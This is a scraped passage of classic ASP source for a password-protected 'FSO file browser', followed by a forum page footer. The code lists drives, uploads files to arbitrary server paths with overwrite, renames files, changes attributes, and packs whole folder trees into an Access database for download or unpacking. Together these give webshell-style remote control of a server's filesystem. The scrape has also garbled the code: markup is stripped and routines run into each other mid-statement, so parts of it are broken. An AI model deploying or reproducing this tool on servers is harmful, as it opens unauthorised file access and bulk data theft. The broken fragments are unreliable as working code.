<% End Sub '保存上传文件 Sub Saveupload(ByVal FolderName) If Not IsFolder(FolderName) Then EchoClose "没有指定上传的文件夹!" Exit Sub End If Dim Path,IsOverWrite Path=FolderName If Right(Path,1)<>"\" Then Path=Path&"\" FileName=Replace(Request("filename"),"\","") If Len(FileName)<1 Then EchoBack "请选择文件并输入文件名!" Exit Sub End If Path=Path&FileName If LCase(Request("overwrite"))="true" Then IsOverWrite=True Else IsOverWrite=False End If On Error Resume Next Call MyUpload(Path,IsOverWrite) If Err Then EchoBack "文件上传失败!(可能是文件已存在)" Else EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\") End If End Sub '文件上传核心代码 Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes If RequestSize<1 Then Exit Sub Set oStream=Server.CreateObject("ADODB.Stream") Set tStream=Server.CreateObject("ADODB.Stream") With oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace=LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData="" '清空文件数据 iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize If IsOverWrite Then tStream.SaveToFile FilePath,2 Else tStream.SaveToFile FilePath End If tStream.Close .Close End With Set tStream=Nothing Set oStream=Nothing End Sub '显示文件属性 Sub Prop(Fname) On Error Resume Next Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在!" Exit Sub End If Set oAttrib=New FileAttrib_Cls oAttrib.Attrib=obj.Attributes %> FSO文件浏览器 - 文件属性 <script language="javascript"> function ww(obj) { return false; }
FSO文件浏览器 - 文件属性
路径:<% =obj.Path %>
大小:<% =SizeCount(obj.Size) %>
属性: >普通 >只读 >隐藏 >系统
>目录 >存档 >链接 >压缩
创建时间:<% =obj.DateCreated %>
创建时间:<% =obj.DateLastModified %>
最后访问<% =obj.DateLastAccessed %>
 
<% End Sub '修改属性 Sub SaveProp(Fname) Dim Attribs,Attrib Attribs=Replace(Request.Form("att")," ","") Attribs=Split(Attribs,",") Attrib=0 Dim i For i=0 To UBound(Attribs) Attrib=Attrib+Attribs(i) Next 'Response.Write Attrib 'Exit Sub Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在!" Exit Sub End If If obj.IsRootFolder Then EchoClose "不能修改根目录属性!" Exit Sub End If obj.Attributes=Attrib EchoBack "修改文件属性成功!" End Sub '转到上一级文件夹 Sub DirUp() Dim oFolder,ssFname If IsFolder(Request("fname")) Then Set oFolder=oFso.GetFolder(Request("fname")) If oFolder.IsRootFolder Then '转至显示驱动器页面 Call Drive() Exit Sub Else ssFname=oFolder.ParentFolder.Path Set oFolder=Nothing Call DirList(ssFname) End If Else If IsFile(Request("fname")) Then '文件下载 Else Response.Write "文件夹或文件不存在!" End If End If End Sub '更改文件名页面 Sub Rename() Dim Fname,sName Fname=Request("fname") If IsFolder(Fname) Then sName=oFso.GetFolder(Fname).Name Else If IsFile(Fname) Then sName=oFso.GetFile(Fname).Name Else Response.Write "文件或文件夹不存在!" Exit Sub End If End If %> FSO文件浏览器 - 重命名 <script language="JavaScript"> function icheck() { if(document.cform.toname.value=="") { alert("请输入合法的文件名!"); return false; } else return true; }
FSO文件浏览器 - 文件更名
更名为:
 
<% End Sub '更改文件名操作 Sub SaveRename() Dim Fname,oFolder,oFile,FDir,ToName Fname=Request("fname") ToName=Replace(Request("toname"),"\","") If IsFolder(Fname) Then Set oFolder=oFso.GetFolder(Fname) Fname=oFolder.Path If Right(Fname,1)="\" Then Fname=Left(Fname,Len(Fname)-1) End If FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFolder Fname,ToName If Err Then EchoBack "文件名不合法!" Else EchoClose "文件夹更名成功!\n刷新之后即可看到效果" End If Exit Sub End If If IsFile(Fname) Then Set oFile=oFso.GetFile(Fname) Fname=oFile.Path FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFile Fname,ToName If Err Then EchoBack "文件名不合法!" Else EchoClose "文件更名成功!\n刷新之后即可看到效果" End If Exit Sub End If End Sub '文件打包/解包页面 Sub Page_Pack() Dim vp,vu vp=Request("pname") vu=Request("uname") If Right(vu,4)<>".mdb" Then vu=Server.MapPath("/rs_pack.mdb") End If %> FSO文件浏览器 - 文件打包/解包
FSO文件浏览器 - 文件打包/解包
打包文件夹:
打包到:">
文件包路径:
解包到: ">
<% End Sub '文件夹内容列 ========== Dirlist Sub Dirlist(ByVal Fpath) If IsFile(Fpath) Then '下载该文件 Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back(); FSO文件浏览器 <script language="JavaScript"> var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹 var fselected=""; function opendial(sUrl) //打开对话框窗口 { var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400"); return newWin; } function fopen(sfname) //打开文件夹或文件 { location.href="?page=fso&fname="+escape(sfname); } function fselect(obj) //选文件夹或文件 { var flen=document.all("f").length; for(var i=0;i
FSO文件浏览器
                         
          
<% Dim Islight Islight=False '逐个显示子文件夹 For Each sFolder In oFolder.SubFolders Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next '逐个显示文件 For Each sFile In oFolder.Files Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next %>
文件名类型大小修改时间
" Response.Write "0 "&Web&sFolder.Name Response.Write "文件夹 "&sFolder.DateLastModified&"
" Response.Write " "&sFile.Name Response.Write ""&sFile.Type&""&SizeCount(sFile.Size)&""&sFile.DateLastModified&"

<% =Copyright %>
<% T2=Timer() Runtime=(T2-T1)*1000 Response.Write "Page Processed in "&Runtime&" Mili-seconds" %>
<% End Sub '用户登录 Sub Login() %> FSO文件浏览器 - 用户登录
FSO文件浏览器 - 用户登录
请输入登录密码:  
<% =Copyright %> <% End Sub '用户登录验证 Sub LoginChk() If Request.Form("password")<>Password Then EchoBack "一夫当关,万夫莫开,您的密码不正确!" Exit Sub Else Session(mss & "IsAdminlogin")=True Response.Redirect "?page=fso" End If End Sub '用户退出 Sub Logout() Session(mss & "IsAdminlogin")=False Response.Redirect "?" End Sub '显示一个图片 Sub Page_Img() Dim HexStr HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B" Response.ContentType="IMAGE/GIF" WriteBytes HexStr End Sub '输出Css Sub Page_Css() %> body { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; } input,select,textarea { font-family: Verdana, Arial, "宋体"; font-size: 12px; color: #000000; } a:link { font-size: 12px; color: #000000; text-decoration: none; } a:visited { font-size: 12px; color: #000000; text-decoration: none; } a:active { font-size: 12px; line-height: normal; color: #333333; text-decoration: none; } a:hover { font-size: 12px; color: #FF7F24; text-decoration: underline; } hr { height:1px; color:#6595D6; } table { BORDER-COLLAPSE: collapse; } table.border { border: 1px solid #6595D6; } td { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; } td.border { border: 1px solid #6595D6; } td.inner { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; border: 0px; } th { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #FFFFFF; height:25px; background-color:#427FBB; background-image:url(?page=img); } th.border { border: 1px solid #6595D6; } .b { width:55px; height:22px; font-size:12px; } <% End Sub '================ Functions ================== Function IsFolder(ByVal fname) IsFolder=oFso.FolderExists(fname) End Function Function IsFile(ByVal fname) IsFile=oFso.FileExists(fname) End Function '字节数统计 Bytes Function SizeCount(ByVal iSize) On Error Resume Next Dim size,showsize size=iSize showsize=size & " Byte" if size>1024 then size=(Size/1024) showsize=formatnumber(size,3) & " KB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,3) & " MB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,3) & " GB" end if SizeCount = showsize End Function '16进制字符转10进制数字 Function Hex2Num(v) Dim w If IsNumeric(v) Then w=Int(v) Else Select Case UCase(v) Case "A": w=10 Case "B": w=11 Case "C": w=12 Case "D": w=13 Case "E": w=14 Case "F": w=15 Case Else: w=0 End Select End If Hex2Num=w End Function '取得字节字符串的数值 Function Byte2Num(sByte) Dim b1,b2 b1=Left(sByte,1) b2=Right(sByte,1) Byte2Num=Hex2Num(b1)*16+Hex2Num(b2) End Function '将16进制字节字符串输出为二进制数据 Function WriteBytes(sBytes) Dim sByte,i sByte=Split(sBytes," ") For i=0 To UBound(sByte)-1 Response.BinaryWrite ChrB(Byte2Num(sByte(i))) Next End Function '获得文件图标 Function getFileIcon(extName) Select Case LCase(extName) Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa" getFileIcon = "Wingdings>2" Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg" getFileIcon = "Webdings>·" Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif" getFileIcon = "'webdings'>Ÿ" Case "exe", "com", "bat", "cmd", "scr", "msi" getFileIcon = "Webdings>1" Case "sys", "dll", "ocx" getFileIcon = "Wingdings>ÿ" Case Else getFileIcon = "'Wingdings 2'>/" End Select End Function '获得磁盘类型 Function getDriveType(num) Select Case num Case 0 getDriveType = "未知" Case 1 getDriveType = "可移动磁盘" Case 2 getDriveType = "本地硬盘" Case 3 getDriveType = "网络磁盘" Case 4 getDriveType = "CD-ROM" Case 5 getDriveType = "RAM 磁盘" End Select End Function '判断是否为脚本文件 Function IsScriptFile(Ext) Const ScriptExts="asp,aspx,asa,php" IsScriptFile=False Dim FileExt,Exts FileExt=LCase(Ext) Exts=Split(ScriptExts,",") Dim i For i=0 To UBound(Exts)-1 If Exts(i)=FileExt Then IsScriptFile=True Exit Function End If Next IsScriptFile=False End Function '返回消息并关闭 Sub EchoClose(msg) Response.Write "<script language=""Javascript"">alert("""&msg&""");window.close();alert("""&msg&""");history.back();=2048 Then c=1 v=v Mod 2048 End If If v>=1024 Then al=1 v=v Mod 64 End If If v>=32 Then a=1 v=v Mod 32 End If If v>=16 Then d=1 v=v Mod 8 End If If v>=4 Then s=1 v=v Mod 4 End If If v>=2 Then h=1 v=v Mod 2 End If If v>=1 Then r=1 End If End Property End Class '============================ 文件打包及解包过程 ============================= '文件打包 Sub Pack(ByVal FPath, ByVal sDbPath) Server.ScriptTimeOut=900 Dim DbPath If Right(sDbPath,4)=".mdb" Then DbPath=sDbPath Else DbPath=sDbPath&".mdb" End If If oFso.FolderExists(DbPath) Then EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\") Exit Sub End If If oFso.FileExists(DbPath) Then oFso.DeleteFile DbPath End If If IsFolder(FPath) Then RootPath=GetParentFolder(FPath) If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\" Else EchoBack "请输入文件夹路径!" Exit Sub End If Dim oCatalog,connStr,DataName Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set oCatalog=Server.CreateObject("ADOX.Catalog") Set rs=Server.CreateObject("ADODB.RecordSet") On Error Resume Next connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath oCatalog.Create connStr If Err Then EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\") Exit Sub End If Set oCatalog=Nothing conn.Open connStr conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)") oStream.Open oStream.Type=1 rs.Open "Files",conn,3,3 DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1) NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName) FailFileList="" '打包失败的文件列 PackFolder FPath If FailFilelist="" Then EchoClose "文件夹打包成功!" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If oStream.Close rs.Close conn.Close End Sub '添加文件夹(递归) Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then PackFile sFile.Path End If Next Set sFile=Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder=Nothing End Sub '添加文件 Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath,"") 'Response.Write RelPath & "
" On Error Resume Next Err.Clear Err=False oStream.LoadFromFile FilePath rs.AddNew rs("FilePath")=RelPath rs("FileData")=oStream.Read() rs.Update If Err Then '一个文件打包失败 FailFilelist=FailFilelist&FilePath&"|" End If End Sub '=========================================================================== '文件解包 Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<>":" Then EchoBack "路径格式错误,无法创建改目录!" Exit Sub End If If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set rs=Server.CreateObject("ADODB.RecordSet") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err=False conn.Open connStr If Err Then EchoBack "数据库打开错误!" Exit Sub End If Err=False oStream.Open oStream.Type=1 rs.Open "Files",conn,1,1 FailFilelist="" '清空失败文件列 Do Until rs.EOF Err.Clear Err=False FilePath=FolderPath&"\"&rs("FilePath") FilePath=Replace(FilePath,"\\","\") sFolderPath=Left(FilePath,InStrRev(FilePath,"\")) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs("FileData") oStream.SaveToFile FilePath,2 If Err Then '添加失败文件项目 FailFilelist=FailFilelist&rs("FilePath").Value&"|" End If rs.MoveNext Loop rs.Close Set rs=Nothing conn.Close Set conn=Nothing Set oStream=Nothing If FailFilelist="" Then EchoClose "文件解包成功!" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If End Sub '=========================================================================== '=========================================================================== '建立文件夹(递归) Function CreateFolder(FolderPath) On Error Resume Next Err=False Dim sParFolder sParFolder=GetParentFolder(FolderPath) If Not oFso.FolderExists(sParFolder) Then CreateFolder(sParFolder) End If oFso.CreateFolder(FolderPath) If Err Then CreateFolder=False Else CreateFolder=True End If End Function Function GetParentFolder(Path) Dim sPath sPath=Path If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1) sPath=Left(sPath,InstrRev(sPath,"\")-1) GetParentFolder=sPath End Function '============================================================================ Sub wv(v) If v>0 Then Response.Write " checked " End Sub %>

4,018

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 数据库
社区管理员
  • 数据库
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧